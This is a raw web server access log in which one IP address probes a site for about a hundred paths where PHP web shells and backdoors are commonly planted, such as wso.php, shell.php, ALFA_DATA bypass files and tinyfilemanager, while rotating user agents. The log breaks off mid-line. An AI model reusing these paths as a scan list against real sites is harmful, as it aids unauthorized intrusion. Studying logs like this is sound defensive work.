[13/Apr/2026:06:29:06 +0300] "GET /wp-content/ALFA_DATA/alfacgiapi/bypass.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 212.30.37.22 - - [13/Apr/2026:06:29:06 +0300] "GET /wp-admin/maint/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 212.30.37.22 - - [13/Apr/2026:06:29:06 +0300] "GET /wp-admin/js/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 212.30.37.22 - - [13/Apr/2026:06:29:06 +0300] "GET /wp-content/uploads/2023/05/404.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 212.30.37.22 - - [13/Apr/2026:06:29:06 +0300] "GET /wp-admin/maint/maint.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 212.30.37.22 - - [13/Apr/2026:06:29:06 +0300] "GET /assets/bypass.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 212.30.37.22 - - [13/Apr/2026:06:29:06 +0300] "GET /aa.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 212.30.37.22 - - [13/Apr/2026:06:29:06 +0300] "GET /index2.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 212.30.37.22 - - [13/Apr/2026:06:29:06 +0300] "GET /wp-content/themes/hello-element/footer.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 212.30.37.22 - - [13/Apr/2026:06:29:06 +0300] "GET /wp-admin/network/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 212.30.37.22 - - [13/Apr/2026:06:29:06 +0300] "GET /.well-known/pki-validation/2index.php HTTP/1.1" 404 796 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 212.30.37.22 - - [13/Apr/2026:06:29:06 +0300] "GET /wp-content/languages/plugins.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 212.30.37.22 - - [13/Apr/2026:06:29:06 +0300] "GET /shell.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 212.30.37.22 - - [13/Apr/2026:06:29:06 +0300] "GET /.well-known/content.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 212.30.37.22 - - [13/Apr/2026:06:29:06 +0300] "GET /wp-includes/Text/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 212.30.37.22 - - [13/Apr/2026:06:29:06 +0300] "GET /wp-admin/network/atomlib.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 212.30.37.22 - - [13/Apr/2026:06:29:07 +0300] "GET /.well-known/install.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 212.30.37.22 - - [13/Apr/2026:06:29:07 +0300] "GET /hehe.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 212.30.37.22 - - [13/Apr/2026:06:29:07 +0300] "GET /wp-includes/fonts/autoload_classmap.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 212.30.37.22 - - [13/Apr/2026:06:29:07 +0300] "GET /css/slider.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 212.30.37.22 - - [13/Apr/2026:06:29:07 +0300] "GET /dir.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 212.30.37.22 - - [13/Apr/2026:06:29:07 +0300] "GET /wp-includes/css/atomlib.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 212.30.37.22 - - [13/Apr/2026:06:29:07 +0300] "GET /wp-content/style.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 212.30.37.22 - - [13/Apr/2026:06:29:07 +0300] "GET /libraries/phpmailer/updates.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 212.30.37.22 - - [13/Apr/2026:06:29:07 +0300] "GET /nf_tracking.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 212.30.37.22 - - [13/Apr/2026:06:29:07 +0300] "GET /wp-admin/css/about.php7 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 212.30.37.22 - - [13/Apr/2026:06:29:07 +0300] "GET /filefuns.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 212.30.37.22 - - [13/Apr/2026:06:29:07 +0300] "GET /.well-known/pki-validation/class_api.php HTTP/1.1" 404 796 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 212.30.37.22 - - [13/Apr/2026:06:29:07 +0300] "GET /l.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 212.30.37.22 - - [13/Apr/2026:06:29:07 +0300] "GET /repeater.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 212.30.37.22 - - [13/Apr/2026:06:29:07 +0300] "GET /wp-admin/wso.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 212.30.37.22 - - [13/Apr/2026:06:29:07 +0300] "GET /wp-includes/sitemaps/autoload_classmap.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 212.30.37.22 - - [13/Apr/2026:06:29:07 +0300] "GET /contacts.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 212.30.37.22 - - [13/Apr/2026:06:29:07 +0300] "GET /wsa.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 212.30.37.22 - - [13/Apr/2026:06:29:07 +0300] "GET /wp-includes/SimplePie/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 212.30.37.22 - - [13/Apr/2026:06:29:07 +0300] "GET /firewall.php7 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 212.30.37.22 - - [13/Apr/2026:06:29:07 +0300] "GET /wp-includes/sodium_compat/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 212.30.37.22 - - [13/Apr/2026:06:29:07 +0300] "GET /wp-content/uploads/content.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 212.30.37.22 - - [13/Apr/2026:06:29:07 +0300] "GET /lv.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0" 212.30.37.22 - - [13/Apr/2026:06:29:07 +0300] "GET /images/js1.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 212.30.37.22 - - [13/Apr/2026:06:29:07 +0300] "GET /wp-admin/maint/file.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 212.30.37.22 - - [13/Apr/2026:06:29:07 +0300] "GET /.well-known/acme-challenge/file.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 212.30.37.22 - - [13/Apr/2026:06:29:07 +0300] "GET /.well-known/acme-challenge/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 212.30.37.22 - - [13/Apr/2026:06:29:07 +0300] "GET /wp-includes/images/autoload_classmap.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 212.30.37.22 - - [13/Apr/2026:06:29:08 +0300] "GET /wp-includes/ID3/wp-conflg.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 212.30.37.22 - - [13/Apr/2026:06:29:08 +0300] "GET /wp-admin/theme-editor.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 212.30.37.22 - - [13/Apr/2026:06:29:08 +0300] "GET /wp-admin/css/colors/blue/abc.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0" 212.30.37.22 - - [13/Apr/2026:06:29:08 +0300] "GET /wp-admin/maint/wonder.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 212.30.37.22 - - [13/Apr/2026:06:29:08 +0300] "GET /wp-content/themes/twentytwentyfour/wonder.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 212.30.37.22 - - [13/Apr/2026:06:29:08 +0300] "GET /wp-content/plugins/fix/as.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 212.30.37.22 - - [13/Apr/2026:06:29:08 +0300] "GET /tox.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 212.30.37.22 - - [13/Apr/2026:06:29:08 +0300] "GET /wp-content/languages/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 212.30.37.22 - - [13/Apr/2026:06:29:08 +0300] "GET /wp-includes/js/dist/default.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 212.30.37.22 - - [13/Apr/2026:06:29:08 +0300] "GET /wp-admin/css/colors/tfileman.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 212.30.37.22 - - [13/Apr/2026:06:29:08 +0300] "GET /tiny.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 212.30.37.22 - - [13/Apr/2026:06:29:08 +0300] "GET /wp-admin/js/widgets/autoload_classmap.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0" 212.30.37.22 - - [13/Apr/2026:06:29:08 +0300] "GET /themes.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 212.30.37.22 - - [13/Apr/2026:06:29:08 +0300] "GET /wp-themes.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 212.30.37.22 - - [13/Apr/2026:06:29:08 +0300] "GET /wp-includes/sodium_compat/src/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 212.30.37.22 - - [13/Apr/2026:06:29:08 +0300] "GET /wp-content/plugins/erinyani/asasx.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 212.30.37.22 - - [13/Apr/2026:06:29:08 +0300] "GET /mariju.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 212.30.37.22 - - [13/Apr/2026:06:29:08 +0300] "GET /waf_defender.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 212.30.37.22 - - [13/Apr/2026:06:29:08 +0300] "GET /wp-admin/maint/cong.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 212.30.37.22 - - [13/Apr/2026:06:29:08 +0300] "GET /av.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 212.30.37.22 - - [13/Apr/2026:06:29:08 +0300] "GET /wp-admin/css/glex.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 212.30.37.22 - - [13/Apr/2026:06:29:08 +0300] "GET /wp-admin/autoload_classmap.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 212.30.37.22 - - [13/Apr/2026:06:29:08 +0300] "GET /wp-includes/SimplePie/Parse/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 212.30.37.22 - - [13/Apr/2026:06:29:08 +0300] "GET /.well-known/acme-challenge/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 212.30.37.22 - - [13/Apr/2026:06:29:09 +0300] "GET /wp-content/themes/twentytwentyfour/system_cache.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 212.30.37.22 - - [13/Apr/2026:06:29:09 +0300] "GET /wp-content/themes/sky-pro/js.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 212.30.37.22 - - [13/Apr/2026:06:29:09 +0300] "GET /wp-includes/Text/wp-conflg.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 212.30.37.22 - - [13/Apr/2026:06:29:09 +0300] "GET /wp-content/themes/pridmag/waf_defender.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 212.30.37.22 - - [13/Apr/2026:06:29:09 +0300] "GET /theme.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 212.30.37.22 - - [13/Apr/2026:06:29:09 +0300] "GET /wp-content/themes/twentytwentytwo/waf_defender.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 212.30.37.22 - - [13/Apr/2026:06:29:09 +0300] "GET /wp-admin/css/colors/coffee/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 212.30.37.22 - - [13/Apr/2026:06:29:09 +0300] "GET /Simple.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 212.30.37.22 - - [13/Apr/2026:06:29:09 +0300] "GET /.well-known/acme-challenge/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 212.30.37.22 - - [13/Apr/2026:06:29:09 +0300] "GET /wp-admin/1.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 212.30.37.22 - - [13/Apr/2026:06:29:09 +0300] "GET /wp-admin/css/colors/ocean/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 212.30.37.22 - - [13/Apr/2026:06:29:09 +0300] "GET /wp-content/plugins/wp-conflg.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 212.30.37.22 - - [13/Apr/2026:06:29:09 +0300] "GET /.well-known/classwithtostring.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 212.30.37.22 - - [13/Apr/2026:06:29:09 +0300] "GET /css/av.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 212.30.37.22 - - [13/Apr/2026:06:29:09 +0300] "GET /images/waf_defender.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 212.30.37.22 - - [13/Apr/2026:06:29:09 +0300] "GET /wp-includes/SimplePie/Cache/upfile.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 212.30.37.22 - - [13/Apr/2026:06:29:09 +0300] "GET /small.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 212.30.37.22 - - [13/Apr/2026:06:29:09 +0300] "GET /wp-includes/js/tinymce/plugins/fullscreen/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 212.30.37.22 - - [13/Apr/2026:06:29:09 +0300] "GET /NewFile.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 212.30.37.22 - - [13/Apr/2026:06:29:09 +0300] "GET /wp-content/uploads/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 212.30.37.22 - - [13/Apr/2026:06:29:09 +0300] "GET /error.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 212.30.37.22 - - [13/Apr/2026:06:29:09 +0300] "GET /wp-content/plugins/pwnd/admin-footer.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 212.30.37.22 - - [13/Apr/2026:06:29:10 +0300] "GET /wp-includes/widgets/class-wp-widget-search-function.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 212.30.37.22 - - [13/Apr/2026:06:29:10 +0300] "GET /wp-content/languages/themes/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 212.30.37.22 - - [13/Apr/2026:06:29:10 +0300] "GET /wp-files.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 212.30.37.22 - - [13/Apr/2026:06:29:10 +0300] "GET /functions.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 212.30.37.22 - - [13/Apr/2026:06:29:10 +0300] "GET /wp-includes/SimplePie/Canonical.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 212.30.37.22 - - [13/Apr/2026:06:29:10 +0300] "GET /wp-includes/certificates/autoload_classmap.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 212.30.37.22 - - [13/Apr/2026:06:29:10 +0300] "GET /aks.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 212.30.37.22 - - [13/Apr/2026:06:29:10 +0300] "GET /litespeed.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 212.30.37.22 - - [13/Apr/2026:06:29:10 +0300] "GET /img/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 212.30.37.22 - - [13/Apr/2026:06:29:10 +0300] "GET /wp-includes/class-feed-index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 212.30.37.22 - - [13/Apr/2026:06:29:10 +0300] "GET /wpn.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 212.30.37.22 - - [13/Apr/2026:06:29:10 +0300] "GET /wp-content/classwithtostring.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 212.30.37.22 - - [13/Apr/2026:06:29:10 +0300] "GET /.well-known/acme-challenge/iR7SzrsOUEP.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 212.30.37.22 - - [13/Apr/2026:06:29:10 +0300] "GET /wp-includes/customize/class-wp-customize-nav-menu-section-boolean.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 212.30.37.22 - - [13/Apr/2026:06:29:10 +0300] "GET /wp-content/themes/twentytwentyfour/functions.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 212.30.37.22 - - [13/Apr/2026:06:29:10 +0300] "GET /wp-includes/db.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 212.30.37.22 - - [13/Apr/2026:06:29:10 +0300] "GET /wp-includes/class-wp-dependency-float.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 212.30.37.22 - - [13/Apr/2026:06:29:10 +0300] "GET /wp-includes/PHPMailer/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 212.30.37.22 - - [13/Apr/2026:06:29:10 +0300] "GET /wp-includes/PHPMailer/purna.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 212.30.37.22 - - [13/Apr/2026:06:29:10 +0300] "GET /wp-includes/interactivity-api/interactivity-api-class.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 212.30.37.22 - - [13/Apr/2026:06:29:10 +0300] "GET /wp-includes/l10n/class-wp-widddget-pages.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 212.30.37.22 - - [13/Apr/2026:06:29:10 +0300] "GET /tinyfilemanager/tinyfilemanager.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 212.30.37.22 - - [13/Apr/2026:06:29:10 +0300] "GET /wp-admin/css/colors/light/colors.min.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 212.30.37.22 - - [13/Apr/2026:06:29:10 +0300] "GET /wp-includes/customize/class-wp-customize-nav-menu-auto-add-control-repository.php HTTP/1.1" 301 795 "-" 